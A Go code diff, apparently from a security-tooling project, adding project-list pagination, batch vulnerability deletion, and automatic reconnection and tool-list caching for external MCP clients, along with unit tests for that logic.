+	list, err := h.db.ListProjects(status, search, limit, offset)
 	if err != nil {
 		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
 		return
@@ -74,7 +102,17 @@ func (h *ProjectHandler) ListProjects(c *gin.Context) {
 	if list == nil {
 		list = []*database.Project{}
 	}
-	c.JSON(http.StatusOK, list)
+	total, err := h.db.CountProjects(status, search)
+	if err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	c.JSON(http.StatusOK, gin.H{
+		"projects": list,
+		"total":    total,
+		"limit":    limit,
+		"offset":   offset,
+	})
 }
 
 // GetProjectStats GET /api/projects/:id/stats
@@ -240,44 +278,6 @@ func (h *ProjectHandler) ListFacts(c *gin.Context) {
 	c.JSON(http.StatusOK, list)
 }
 
-// GetFactPreviousVersion GET /api/projects/:id/facts/:factId/previous-version
-func (h *ProjectHandler) GetFactPreviousVersion(c *gin.Context) {
-	existing, err := h.db.GetProjectFact(c.Param("factId"))
-	if err != nil || existing.ProjectID != c.Param("id") {
-		c.JSON(http.StatusNotFound, gin.H{"error": "事实不存在"})
-		return
-	}
-	if strings.TrimSpace(existing.SupersedesFactID) == "" {
-		c.JSON(http.StatusNotFound, gin.H{"error": "无上一版本"})
-		return
-	}
-	v, err := h.db.GetProjectFactVersion(existing.SupersedesFactID)
-	if err != nil {
-		c.JSON(http.StatusNotFound, gin.H{"error": err.Error()})
-		return
-	}
-	c.JSON(http.StatusOK, v)
-}
-
-// ListFactVersions GET /api/projects/:id/facts/:factId/versions
-func (h *ProjectHandler) ListFactVersions(c *gin.Context) {
-	existing, err := h.db.GetProjectFact(c.Param("factId"))
-	if err != nil || existing.ProjectID != c.Param("id") {
-		c.JSON(http.StatusNotFound, gin.H{"error": "事实不存在"})
-		return
-	}
-	limit, _ := strconv.Atoi(c.DefaultQuery("limit", "20"))
-	list, err := h.db.ListProjectFactVersions(existing.ID, limit)
-	if err != nil {
-		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
-		return
-	}
-	if list == nil {
-		list = []*database.ProjectFactVersion{}
-	}
-	c.JSON(http.StatusOK, list)
-}
-
 // CreateFact POST /api/projects/:id/facts
 func (h *ProjectHandler) CreateFact(c *gin.Context) {
 	var req upsertFactRequest

internal/handler/robot.go

@@ -314,7 +314,7 @@ func (h *RobotHandler) resolveProjectByIDOrName(idOrName string) (*database.Proj
 	if p, err := h.db.GetProject(idOrName); err == nil {
 		return p, ""
 	}
-	list, err := h.db.ListProjects("", 200, 0)
+	list, err := h.db.ListProjects("", "", 200, 0)
 	if err != nil {
 		return nil, "查询项目失败: " + err.Error()
 	}
@@ -353,7 +353,7 @@ func (h *RobotHandler) cmdProjects() string {
 	if !h.projectsEnabled() {
 		return "项目功能未启用（config.project.enabled）。"
 	}
-	list, err := h.db.ListProjects("", 50, 0)
+	list, err := h.db.ListProjects("", "", 50, 0)
 	if err != nil {
 		return "获取项目列表失败: " + err.Error()
 	}

internal/handler/vulnerability.go

@@ -311,6 +311,38 @@ func (h *VulnerabilityHandler) DeleteVulnerability(c *gin.Context) {
 	c.JSON(http.StatusOK, gin.H{"message": "删除成功"})
 }
 
+// BatchDeleteVulnerabilities 按当前筛选条件批量删除漏洞
+func (h *VulnerabilityHandler) BatchDeleteVulnerabilities(c *gin.Context) {
+	filter := parseVulnerabilityListFilter(c)
+
+	total, err := h.db.CountVulnerabilities(filter)
+	if err != nil {
+		h.logger.Error("统计待删除漏洞失败", zap.Error(err))
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	if total == 0 {
+		c.JSON(http.StatusOK, gin.H{"message": "当前筛选条件下没有可删除的漏洞", "deleted": 0})
+		return
+	}
+
+	deleted, err := h.db.DeleteVulnerabilitiesByFilter(filter)
+	if err != nil {
+		h.logger.Error("批量删除漏洞失败", zap.Error(err), zap.Int("count", total))
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	if h.audit != nil {
+		h.audit.RecordOK(c, "vulnerability", "delete_batch", "批量删除漏洞记录", "vulnerability", "", map[string]interface{}{
+			"deleted": deleted,
+			"filter":  filter,
+		})
+	}
+
+	c.JSON(http.StatusOK, gin.H{"message": "批量删除成功", "deleted": deleted})
+}
+
 // GetVulnerabilityStats 获取漏洞统计
 func (h *VulnerabilityHandler) GetVulnerabilityStats(c *gin.Context) {
 	filter := parseVulnerabilityListFilter(c)

internal/mcp/client_sdk.go

@@ -190,6 +190,23 @@ func (c *lazySDKClient) Close() error {
 	return nil
 }
 
+// markDisconnected 在检测到传输层断连时关闭底层 session，避免 IsConnected 仍返回 true。
+func (c *lazySDKClient) markDisconnected() {
+	c.mu.Lock()
+	inner := c.inner
+	sessionCancel := c.sessionCancel
+	c.inner = nil
+	c.sessionCancel = nil
+	c.mu.Unlock()
+	if sessionCancel != nil {
+		sessionCancel()
+	}
+	if inner != nil {
+		_ = inner.Close()
+	}
+	c.setStatus("disconnected")
+}
+
 func (c *sdkClient) setStatus(s string) {
 	c.mu.Lock()
 	defer c.mu.Unlock()

internal/mcp/connection_recovery.go

@@ -0,0 +1,192 @@
+package mcp
+
+import (
+	"context"
+	"errors"
+	"io"
+	"strings"
+	"time"
+
+	"go.uber.org/zap"
+)
+
+const (
+	// externalReconnectMinInterval 两次自动重连之间的最短间隔
+	externalReconnectMinInterval = 30 * time.Second
+	// externalReconnectMaxBackoff 指数退避上限
+	externalReconnectMaxBackoff = 5 * time.Minute
+)
+
+// isConnectionDeadError 判断错误是否表示底层传输已断开（而非调用方主动取消或超时）。
+func isConnectionDeadError(err error) bool {
+	if err == nil {
+		return false
+	}
+	if errors.Is(err, context.Canceled) || errors.Is(err, context.DeadlineExceeded) {
+		return false
+	}
+	if errors.Is(err, io.EOF) {
+		return true
+	}
+	s := strings.ToLower(err.Error())
+	return strings.Contains(s, "eof") ||
+		strings.Contains(s, "client is closing") ||
+		strings.Contains(s, "connection closed") ||
+		strings.Contains(s, "connection reset") ||
+		strings.Contains(s, "broken pipe")
+}
+
+// handleConnectionDead 在 ListTools/CallTool 等操作失败且判定为断连时，标记客户端并调度重连。
+func (m *ExternalMCPManager) handleConnectionDead(name string, client ExternalMCPClient, err error) {
+	if !isConnectionDeadError(err) {
+		return
+	}
+	m.logger.Warn("检测到外部MCP连接已断开，将尝试自动重连",
+		zap.String("name", name),
+		zap.Error(err),
+	)
+	m.markClientDisconnected(name, client, err)
+	m.scheduleReconnect(name)
+}
+
+func (m *ExternalMCPManager) markClientDisconnected(name string, client ExternalMCPClient, err error) {
+	if lazy, ok := client.(*lazySDKClient); ok {
+		lazy.markDisconnected()
+	}
+	m.mu.Lock()
+	if err != nil {
+		m.errors[name] = "连接已断开: " + err.Error()
+	}
+	m.mu.Unlock()
+	m.toolCountsMu.Lock()
+	m.toolCounts[name] = 0
+	m.toolCountsMu.Unlock()
+}
+
+func (m *ExternalMCPManager) onClientConnected(name string) {
+	m.clearReconnectState(name)
+}
+
+func (m *ExternalMCPManager) clearReconnectState(name string) {
+	m.reconnectMu.Lock()
+	delete(m.reconnectAttempts, name)
+	delete(m.reconnectLastTry, name)
+	delete(m.reconnecting, name)
+	m.reconnectMu.Unlock()
+}
+
+func (m *ExternalMCPManager) reconnectBackoff(attempts int) time.Duration {
+	if attempts <= 0 {
+		return 0
+	}
+	d := externalReconnectMinInterval
+	for i := 1; i < attempts && d < externalReconnectMaxBackoff; i++ {
+		d *= 2
+	}
+	if d > externalReconnectMaxBackoff {
+		return externalReconnectMaxBackoff
+	}
+	return d
+}
+
+func (m *ExternalMCPManager) scheduleReconnect(name string) {
+	m.mu.RLock()
+	cfg, exists := m.configs[name]
+	enabled := exists && m.isEnabled(cfg)
+	m.mu.RUnlock()
+	if !enabled {
+		return
+	}
+	go m.tryReconnect(name)
+}
+
+func (m *ExternalMCPManager) tryReconnect(name string) {
+	m.reconnectMu.Lock()
+	if m.reconnecting[name] {
+		m.reconnectMu.Unlock()
+		return
+	}
+	attempts := m.reconnectAttempts[name]
+	if wait := m.reconnectBackoff(attempts); wait > 0 {
+		if last, ok := m.reconnectLastTry[name]; ok {
+			if elapsed := time.Since(last); elapsed < wait {
+				remaining := wait - elapsed
+				m.reconnectMu.Unlock()
+				m.scheduleReconnectAfter(name, remaining)
+				return
+			}
+		}
+	}
+	m.reconnecting[name] = true
+	m.reconnectMu.Unlock()
+
+	defer func() {
+		m.reconnectMu.Lock()
+		delete(m.reconnecting, name)
+		m.reconnectMu.Unlock()
+	}()
+
+	m.mu.RLock()
+	cfg, exists := m.configs[name]
+	enabled := exists && m.isEnabled(cfg)
+	client, hasClient := m.clients[name]
+	connecting := hasClient && client.GetStatus() == "connecting"
+	m.mu.RUnlock()
+
+	if !enabled {
+		m.logger.Debug("跳过自动重连（外部MCP已停用）", zap.String("name", name))
+		return
+	}
+	if connecting {
+		m.logger.Debug("跳过自动重连（连接正在进行中）", zap.String("name", name))
+		return
+	}
+
+	m.reconnectMu.Lock()
+	m.reconnectLastTry[name] = time.Now()
+	m.reconnectAttempts[name] = attempts + 1
+	attemptNum := m.reconnectAttempts[name]
+	m.reconnectMu.Unlock()
+
+	m.logger.Info("正在自动重连外部MCP",
+		zap.String("name", name),
+		zap.Int("attempt", attemptNum),
+	)
+
+	if err := m.startClient(name, true); err != nil {
+		m.logger.Warn("自动重连外部MCP失败",
+			zap.String("name", name),
+			zap.Error(err),
+		)
+	}
+}
+
+// scheduleReconnectAfterFailure 在自动重连失败后，按当前退避间隔预约下一次重试。
+func (m *ExternalMCPManager) scheduleReconnectAfterFailure(name string) {
+	m.mu.RLock()
+	cfg, exists := m.configs[name]
+	enabled := exists && m.isEnabled(cfg)
+	m.mu.RUnlock()
+	if !enabled {
+		return
+	}
+	m.reconnectMu.Lock()
+	wait := m.reconnectBackoff(m.reconnectAttempts[name])
+	m.reconnectMu.Unlock()
+	m.logger.Info("自动重连失败，将按退避间隔再次尝试",
+		zap.String("name", name),
+		zap.Duration("after", wait),
+	)
+	m.scheduleReconnectAfter(name, wait)
+}
+
+// scheduleReconnectAfter 在 delay 后触发 tryReconnect（delay<=0 时立即执行）。
+func (m *ExternalMCPManager) scheduleReconnectAfter(name string, delay time.Duration) {
+	if delay <= 0 {
+		go m.tryReconnect(name)
+		return
+	}
+	time.AfterFunc(delay, func() {
+		m.tryReconnect(name)
+	})
+}

internal/mcp/connection_recovery_test.go

@@ -0,0 +1,215 @@
+package mcp
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"io"
+	"testing"
+	"time"
+
+	"cyberstrike-ai/internal/config"
+
+	"go.uber.org/zap"
+)
+
+func TestIsConnectionDeadError(t *testing.T) {
+	t.Parallel()
+	cases := []struct {
+		name string
+		err  error
+		want bool
+	}{
+		{"nil", nil, false},
+		{"eof", io.EOF, true},
+		{"wrapped eof", fmt.Errorf("connection closed: %w", io.EOF), true},
+		{"client closing", errors.New(`calling "tools/list": client is closing: EOF`), true},
+		{"connection reset", errors.New("read tcp: connection reset by peer"), true},
+		{"canceled", context.Canceled, false},
+		{"deadline", context.DeadlineExceeded, false},
+		{"other", errors.New("invalid params"), false},
+	}
+	for _, tc := range cases {
+		tc := tc
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+			if got := isConnectionDeadError(tc.err); got != tc.want {
+				t.Fatalf("isConnectionDeadError(%v) = %v, want %v", tc.err, got, tc.want)
+			}
+		})
+	}
+}
+
+func TestLazySDKClient_MarkDisconnected(t *testing.T) {
+	c := &lazySDKClient{status: "connected"}
+	c.inner = &sdkClient{status: "connected"}
+	c.markDisconnected()
+	if c.IsConnected() {
+		t.Fatal("expected disconnected after markDisconnected")
+	}
+	if c.GetStatus() != "disconnected" {
+		t.Fatalf("expected status disconnected, got %s", c.GetStatus())
+	}
+}
+
+func TestHandleConnectionDead_MarksLazyClientDisconnected(t *testing.T) {
+	logger := zap.NewNop()
+	m := NewExternalMCPManager(logger)
+
+	name := "dead-mcp"
+	cfg := config.ExternalMCPServerConfig{
+		Type:              "http",
+		URL:               "http://example.com/mcp",
+		ExternalMCPEnable: true,
+	}
+	m.mu.Lock()
+	m.configs[name] = cfg
+	client := newLazySDKClient(cfg, logger)
+	client.inner = &sdkClient{status: "connected"}
+	client.status = "connected"
+	m.clients[name] = client
+	m.mu.Unlock()
+
+	deadErr := errors.New(`connection closed: calling "tools/list": client is closing: EOF`)
+	m.handleConnectionDead(name, client, deadErr)
+
+	if client.IsConnected() {
+		t.Fatal("expected disconnected after handleConnectionDead")
+	}
+	if m.GetError(name) == "" {
+		t.Fatal("expected error message to be recorded")
+	}
+	counts := m.GetToolCounts()
+	if counts[name] != 0 {
+		t.Fatalf("expected tool count 0 after disconnect, got %d", counts[name])
+	}
+}
+
+func TestReconnectBackoff(t *testing.T) {
+	t.Parallel()
+	if d := (&ExternalMCPManager{}).reconnectBackoff(0); d != 0 {
+		t.Fatalf("attempt 0: got %v", d)
+	}
+	if d := (&ExternalMCPManager{}).reconnectBackoff(1); d != externalReconnectMinInterval {
+		t.Fatalf("attempt 1: got %v", d)
+	}
+	if d := (&ExternalMCPManager{}).reconnectBackoff(10); d != externalReconnectMaxBackoff {
+		t.Fatalf("attempt 10: got %v, want cap %v", d, externalReconnectMaxBackoff)
+	}
+}
+
+func TestTryReconnect_RateLimited(t *testing.T) {
+	logger := zap.NewNop()
+	m := NewExternalMCPManager(logger)
+
+	name := "rate-limited"
+	m.reconnectMu.Lock()
+	m.reconnectLastTry[name] = time.Now()
+	m.reconnectAttempts[name] = 2
+	m.reconnectMu.Unlock()
+
+	m.tryReconnect(name)
+
+	m.reconnectMu.Lock()
+	attempts := m.reconnectAttempts[name]
+	m.reconnectMu.Unlock()
+	if attempts != 2 {
+		t.Fatalf("rate limited reconnect should not increment attempts, got %d", attempts)
+	}
+}
+
+func TestTryReconnect_SkipsWhenDisabled(t *testing.T) {
+	logger := zap.NewNop()
+	m := NewExternalMCPManager(logger)
+
+	name := "disabled-mcp"
+	m.mu.Lock()
+	m.configs[name] = config.ExternalMCPServerConfig{
+		Type:              "http",
+		URL:               "http://example.com/mcp",
+		ExternalMCPEnable: false,
+	}
+	m.mu.Unlock()
+
+	m.tryReconnect(name)
+
+	m.reconnectMu.Lock()
+	attempts := m.reconnectAttempts[name]
+	m.reconnectMu.Unlock()
+	if attempts != 0 {
+		t.Fatalf("disabled MCP should not increment reconnect attempts, got %d", attempts)
+	}
+}
+
+func TestTryReconnect_SkipsWhenConnecting(t *testing.T) {
+	logger := zap.NewNop()
+	m := NewExternalMCPManager(logger)
+
+	name := "connecting-mcp"
+	cfg := config.ExternalMCPServerConfig{
+		Type:              "http",
+		URL:               "http://example.com/mcp",
+		ExternalMCPEnable: true,
+	}
+	client := newLazySDKClient(cfg, logger)
+	client.setStatus("connecting")
+
+	m.mu.Lock()
+	m.configs[name] = cfg
+	m.clients[name] = client
+	m.mu.Unlock()
+
+	m.tryReconnect(name)
+
+	m.reconnectMu.Lock()
+	attempts := m.reconnectAttempts[name]
+	m.reconnectMu.Unlock()
+	if attempts != 0 {
+		t.Fatalf("connecting MCP should not increment reconnect attempts, got %d", attempts)
+	}
+}
+
+func TestStartClientAutoReconnect_SkipsWhenDisabled(t *testing.T) {
+	logger := zap.NewNop()
+	m := NewExternalMCPManager(logger)
+	m.stopRefresh = make(chan struct{})
+
+	name := "stopped"
+	m.mu.Lock()
+	m.configs[name] = config.ExternalMCPServerConfig{
+		Type:              "http",
+		URL:               "http://example.com/mcp",
+		ExternalMCPEnable: false,
+	}
+	m.mu.Unlock()
+
+	if err := m.startClient(name, true); err != nil {
+		t.Fatalf("startClient: %v", err)
+	}
+
+	m.mu.RLock()
+	cfg := m.configs[name]
+	_, hasClient := m.clients[name]
+	m.mu.RUnlock()
+	if cfg.ExternalMCPEnable {
+		t.Fatal("auto reconnect should not enable stopped MCP")
+	}
+	if hasClient {
+		t.Fatal("auto reconnect should not create client when disabled")
+	}
+}
+
+func TestOnClientConnected_ClearsReconnectState(t *testing.T) {
+	m := &ExternalMCPManager{
+		reconnectAttempts: map[string]int{"x": 3},
+		reconnectLastTry:  map[string]time.Time{"x": time.Now()},
+		reconnecting:      map[string]bool{"x": true},
+	}
+	m.onClientConnected("x")
+
+	m.reconnectMu.Lock()
+	defer m.reconnectMu.Unlock()
+	if len(m.reconnectAttempts) != 0 || len(m.reconnectLastTry) != 0 || len(m.reconnecting) != 0 {
+		t.Fatal("expected reconnect state cleared")
+	}
+}

internal/mcp/external_manager.go

@@ -15,6 +15,26 @@ import (
 	"go.uber.org/zap"
 )
 
+const (
+	// externalToolListCacheTTL 已连接外部 MCP 的工具列表缓存有效期，避免每次 API 请求都打远程 ListTools。
+	externalToolListCacheTTL = 60 * time.Second
+	// externalToolCountRefreshInterval 后台刷新工具数量的间隔（仅刷新缓存过期或缺失的客户端）。
+	externalToolCountRefreshInterval = 60 * time.Second
+)
+
+// toolListCacheEntry 外部 MCP 工具列表缓存条目
+type toolListCacheEntry struct {
+	tools     []Tool
+	updatedAt time.Time
+}
+
+// listToolsInflight 合并同一 MCP 上并发的 ListTools 请求
+type listToolsInflight struct {
+	done  chan struct{}
+	tools []Tool
+	err   error
+}
+
 // ExternalMCPManager 外部MCP管理器
 type ExternalMCPManager struct {
 	clients      map[string]ExternalMCPClient
@@ -26,14 +46,20 @@ type ExternalMCPManager struct {
 	errors       map[string]string         // 错误信息
 	toolCounts   map[string]int            // 工具数量缓存
 	toolCountsMu sync.RWMutex              // 工具数量缓存的锁
-	toolCache    map[string][]Tool         // 工具列表缓存：MCP名称 -> 工具列表
+	toolCache    map[string]toolListCacheEntry // 工具列表缓存：MCP名称 -> 工具列表
 	toolCacheMu  sync.RWMutex              // 工具列表缓存的锁
+	listToolsMu  sync.Mutex
+	listToolsInflight map[string]*listToolsInflight
 	stopRefresh  chan struct{}             // 停止后台刷新的信号
 	refreshWg    sync.WaitGroup            // 等待后台刷新goroutine完成
 	refreshing   atomic.Bool               // 防止 refreshToolCounts 并发堆积
 	mu           sync.RWMutex
-	runningCancels map[string]context.CancelFunc
-	abortUserNotes map[string]string
+	runningCancels    map[string]context.CancelFunc
+	abortUserNotes    map[string]string
+	reconnectMu       sync.Mutex
+	reconnecting      map[string]bool
+	reconnectLastTry  map[string]time.Time
+	reconnectAttempts map[string]int
 }
 
 // NewExternalMCPManager 创建外部MCP管理器
@@ -51,11 +77,15 @@ func NewExternalMCPManagerWithStorage(logger *zap.Logger, storage MonitorStorage
 		executions:     make(map[string]*ToolExecution),
 		stats:          make(map[string]*ToolStats),
 		errors:         make(map[string]string),
-		toolCounts:     make(map[string]int),
-		toolCache:      make(map[string][]Tool),
-		stopRefresh:    make(chan struct{}),
-		runningCancels: make(map[string]context.CancelFunc),
-		abortUserNotes: make(map[string]string),
+		toolCounts:        make(map[string]int),
+		toolCache:         make(map[string]toolListCacheEntry),
+		listToolsInflight: make(map[string]*listToolsInflight),
+		stopRefresh:       make(chan struct{}),
+		runningCancels:    make(map[string]context.CancelFunc),
+		abortUserNotes:    make(map[string]string),
+		reconnecting:      make(map[string]bool),
+		reconnectLastTry:  make(map[string]time.Time),
+		reconnectAttempts: make(map[string]int),
 	}
 	// 启动后台刷新工具数量的goroutine
 	manager.startToolCountRefresh()
@@ -122,6 +152,7 @@ func (m *ExternalMCPManager) RemoveConfig(name string) error {
 	}
 
 	delete(m.configs, name)
+	m.clearReconnectState(name)
 
 	// 清理工具数量缓存
 	m.toolCountsMu.Lock()
@@ -136,8 +167,13 @@ func (m *ExternalMCPManager) RemoveConfig(name string) error {
 	return nil
 }
 
-// StartClient 启动客户端
+// StartClient 启动客户端（用户手动启动；连接失败不自动重试）
 func (m *ExternalMCPManager) StartClient(name string) error {
+	return m.startClient(name, false)
+}
+
+// startClient 启动客户端。autoReconnect 为 true 时用于断连自愈：尊重停用状态，失败后按退避继续重试。
+func (m *ExternalMCPManager) startClient(name string, autoReconnect bool) error {
 	m.mu.Lock()
 	serverCfg, exists := m.configs[name]
 	m.mu.Unlock()
@@ -146,6 +182,10 @@ func (m *ExternalMCPManager) StartClient(name string) error {
 		return fmt.Errorf("配置不存在: %s", name)
 	}
 
+	if autoReconnect && !m.isEnabled(serverCfg) {
+		return nil
+	}
+
 	// 检查是否已经有连接的客户端
 	m.mu.RLock()
 	existingClient, hasClient := m.clients[name]
@@ -155,11 +195,12 @@ func (m *ExternalMCPManager) StartClient(name string) error {
 		// 检查客户端是否已连接
 		if existingClient.IsConnected() {
 			// 客户端已连接，直接返回成功（目标状态已达成）
-			// 更新配置为启用（确保配置一致）
-			m.mu.Lock()
-			serverCfg.ExternalMCPEnable = true
-			m.configs[name] = serverCfg
-			m.mu.Unlock()
+			if !autoReconnect {
+				m.mu.Lock()
+				serverCfg.ExternalMCPEnable = true
+				m.configs[name] = serverCfg
+				m.mu.Unlock()
+			}
 			return nil
 		}
 		// 如果有客户端但未连接，先关闭
@@ -169,6 +210,16 @@ func (m *ExternalMCPManager) StartClient(name string) error {
 		m.mu.Unlock()
 	}
 
+	if autoReconnect {
+		m.mu.RLock()
+		serverCfg, exists = m.configs[name]
+		enabled := exists && m.isEnabled(serverCfg)
+		m.mu.RUnlock()
+		if !enabled {
+			return nil
+		}
+	}
+
 	// 更新配置为启用
 	m.mu.Lock()
 	serverCfg.ExternalMCPEnable = true
@@ -192,10 +243,11 @@ func (m *ExternalMCPManager) StartClient(name string) error {
 	m.mu.Unlock()
 
 	// 在后台异步进行实际连接
-	go func() {
+	go func(reconnect bool) {
 		if err := m.doConnect(name, serverCfg, client); err != nil {
 			m.logger.Error("连接外部MCP客户端失败",
 				zap.String("name", name),
+				zap.Bool("auto_reconnect", reconnect),
 				zap.Error(err),
 			)
 			// 连接失败，设置状态为error并保存错误信息
@@ -205,22 +257,19 @@ func (m *ExternalMCPManager) StartClient(name string) error {
 			m.mu.Unlock()
 			// 触发工具数量刷新（连接失败，工具数量应为0）
 			m.triggerToolCountRefresh()
+			if reconnect {
+				m.scheduleReconnectAfterFailure(name)
+			}
 		} else {
 			// 连接成功，清除错误信息
 			m.mu.Lock()
 			delete(m.errors, name)
 			m.mu.Unlock()
-			// 立即刷新工具数量和工具列表缓存
-			m.triggerToolCountRefresh()
-			m.refreshToolCache(name, client)
-			// 2 秒后再刷新一次，覆盖 SSE/Streamable 等需稍等就绪的远端
-			go func() {
-				time.Sleep(2 * time.Second)
-				m.triggerToolCountRefresh()
-				m.refreshToolCache(name, client)
-			}()
+			m.onClientConnected(name)
+			// 异步拉取工具列表（singleflight 去重，结果同时写入 toolCache 与 toolCounts）
+			go m.refreshToolCache(name, client)
 		}
-	}()
+	}(autoReconnect)
 
 	return nil
 }
@@ -249,10 +298,16 @@ func (m *ExternalMCPManager) StopClient(name string) error {
 	m.toolCounts[name] = 0
 	m.toolCountsMu.Unlock()
 
+	m.toolCacheMu.Lock()
+	delete(m.toolCache, name)
+	m.toolCacheMu.Unlock()
+
 	// 更新配置为禁用
 	serverCfg.ExternalMCPEnable = false
 	m.configs[name] = serverCfg
 
+	m.clearReconnectState(name)
+
 	return nil
 }
 
@@ -335,16 +390,19 @@ func (m *ExternalMCPManager) getToolsForClient(name string, client ExternalMCPCl
 		return nil, fmt.Errorf("外部MCP连接失败: %s", name)
 	}
 
-	// 已连接：尝试获取最新工具列表
+	// 已连接：缓存优先，仅在缺失或过期时打远程 ListTools
 	if client.IsConnected() {
-		tools, err := client.ListTools(ctx)
+		if tools, ok := m.getFreshCachedTools(name); ok {
+			return tools, nil
+		}
+		if tools, ok := m.getAnyCachedTools(name); ok {
+			m.triggerToolListRefresh(name, client)
+			return tools, nil
+		}
+		tools, err := m.listToolsDeduped(ctx, name, client)
 		if err != nil {
-			// 获取失败，尝试使用缓存
 			return m.getCachedTools(name, "连接正常但获取失败", err)
 		}
-
-		// 获取成功，更新缓存
-		m.updateToolCache(name, tools)
 		return tools, nil
 	}
 
@@ -361,37 +419,127 @@ func (m *ExternalMCPManager) getToolsForClient(name string, client ExternalMCPCl
 	return nil, fmt.Errorf("外部MCP状态未知: %s (状态: %s)", name, status)
 }
 
-// getCachedTools 获取缓存的工具列表
+// getCachedTools 获取缓存的工具列表（含空列表缓存）
 func (m *ExternalMCPManager) getCachedTools(name, reason string, originalErr error) ([]Tool, error) {
-	m.toolCacheMu.RLock()
-	cachedTools, hasCache := m.toolCache[name]
-	m.toolCacheMu.RUnlock()
-
-	if hasCache && len(cachedTools) > 0 {
+	if tools, ok := m.getAnyCachedTools(name); ok {
 		m.logger.Debug("使用缓存的工具列表",
 			zap.String("name", name),
 			zap.String("reason", reason),
-			zap.Int("count", len(cachedTools)),
+			zap.Int("count", len(tools)),
 			zap.Error(originalErr),
 		)
-		return cachedTools, nil
+		return tools, nil
 	}
 
-	// 无缓存，返回错误
 	if originalErr != nil {
 		return nil, fmt.Errorf("获取外部MCP工具失败且无缓存: %w", originalErr)
 	}
 	return nil, fmt.Errorf("外部MCP无缓存工具: %s", name)
 }
 
-// updateToolCache 更新工具列表缓存
-func (m *ExternalMCPManager) updateToolCache(name string, tools []Tool) {
+func (m *ExternalMCPManager) isToolCacheFresh(updatedAt time.Time) bool {
+	return !updatedAt.IsZero() && time.Since(updatedAt) < externalToolListCacheTTL
+}
+
+func cloneTools(tools []Tool) []Tool {
+	if len(tools) == 0 {
+		return nil
+	}
+	out := make([]Tool, len(tools))
+	copy(out, tools)
+	return out
+}
+
+func (m *ExternalMCPManager) getFreshCachedTools(name string) ([]Tool, bool) {
+	m.toolCacheMu.RLock()
+	entry, ok := m.toolCache[name]
+	m.toolCacheMu.RUnlock()
+	if !ok || !m.isToolCacheFresh(entry.updatedAt) {
+		return nil, false
+	}
+	return cloneTools(entry.tools), true
+}
+
+func (m *ExternalMCPManager) getAnyCachedTools(name string) ([]Tool, bool) {
+	m.toolCacheMu.RLock()
+	entry, ok := m.toolCache[name]
+	m.toolCacheMu.RUnlock()
+	if !ok {
+		return nil, false
+	}
+	return cloneTools(entry.tools), true
+}
+
+// listToolsDeduped 对同一 MCP 合并并发 ListTools，并更新 toolCache / toolCounts。
+func (m *ExternalMCPManager) listToolsDeduped(ctx context.Context, name string, client ExternalMCPClient) ([]Tool, error) {
+	m.listToolsMu.Lock()
+	if inflight, exists := m.listToolsInflight[name]; exists {
+		m.listToolsMu.Unlock()
+		select {
+		case <-inflight.done:
+			if inflight.err != nil {
+				return nil, inflight.err
+			}
+			return cloneTools(inflight.tools), nil
+		case <-ctx.Done():
+			return nil, ctx.Err()
+		}
+	}
+	inflight := &listToolsInflight{done: make(chan struct{})}
+	m.listToolsInflight[name] = inflight
+	m.listToolsMu.Unlock()
+
+	inflight.tools, inflight.err = client.ListTools(ctx)
+	if inflight.err == nil {
+		m.updateToolCache(name, inflight.tools)
+	}
+
+	m.listToolsMu.Lock()
+	delete(m.listToolsInflight, name)
+	close(inflight.done)
+	m.listToolsMu.Unlock()
+
+	if inflight.err != nil {
+		m.handleConnectionDead(name, client, inflight.err)
+		return nil, inflight.err
+	}
+	return cloneTools(inflight.tools), nil
+}
+
+// InvalidateToolCache 清除指定外部 MCP 的工具列表缓存（手动刷新时使用）
+func (m *ExternalMCPManager) InvalidateToolCache(name string) {
 	m.toolCacheMu.Lock()
-	m.toolCache[name] = tools
+	delete(m.toolCache, name)
+	m.toolCacheMu.Unlock()
+}
+
+// InvalidateAllToolCaches 清除所有外部 MCP 工具列表缓存
+func (m *ExternalMCPManager) InvalidateAllToolCaches() {
+	m.toolCacheMu.Lock()
+	m.toolCache = make(map[string]toolListCacheEntry)
+	m.toolCacheMu.Unlock()
+}
+
+func (m *ExternalMCPManager) triggerToolListRefresh(name string, client ExternalMCPClient) {
+	go func() {
+		ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
+		defer cancel()
+		_, _ = m.listToolsDeduped(ctx, name, client)
+	}()
+}
+
+// updateToolCache 更新工具列表缓存与工具数量
+func (m *ExternalMCPManager) updateToolCache(name string, tools []Tool) {
+	stored := cloneTools(tools)
+	m.toolCacheMu.Lock()
+	m.toolCache[name] = toolListCacheEntry{tools: stored, updatedAt: time.Now()}
 	m.toolCacheMu.Unlock()
 
-	// 如果返回空列表，记录警告
-	if len(tools) == 0 {
+	m.toolCountsMu.Lock()
+	m.toolCounts[name] = len(stored)
+	m.toolCountsMu.Unlock()
+
+	if len(stored) == 0 {
 		m.logger.Warn("外部MCP返回空工具列表",
 			zap.String("name", name),
 			zap.String("hint", "服务可能暂时不可用，工具列表为空"),
@@ -399,7 +547,7 @@ func (m *ExternalMCPManager) updateToolCache(name string, tools []Tool) {
 	} else {
 		m.logger.Debug("工具列表缓存已更新",
 			zap.String("name", name),
-			zap.Int("count", len(tools)),
+			zap.Int("count", len(stored)),
 		)
 	}
 }
@@ -467,6 +615,9 @@ func (m *ExternalMCPManager) CallTool(ctx context.Context, toolName string, args
 
 	// 调用工具
 	result, err := client.CallTool(execCtx, actualToolName, args)
+	if err != nil {
+		m.handleConnectionDead(mcpName, client, err)
+	}
 	cancelledWithUserNote := m.applyAbortUserNoteToCancelledToolResult(executionID, &result, &err)
 
 	// 更新执行记录
@@ -854,28 +1005,27 @@ func (m *ExternalMCPManager) refreshToolCounts() {
 				return
 			}
 
-			// 使用合理的超时时间（15秒），既能应对网络延迟，又不会过长阻塞
-			// 由于这是后台异步刷新，超时不会影响前端响应
+			// 缓存仍新鲜时直接复用，避免与 GetAllTools 重复打远程
+			if _, fresh := m.getFreshCachedTools(n); fresh {
+				m.toolCountsMu.RLock()
+				count := m.toolCounts[n]
+				m.toolCountsMu.RUnlock()
+				resultChan <- countResult{name: n, count: count}
+				return
+			}
+
 			ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
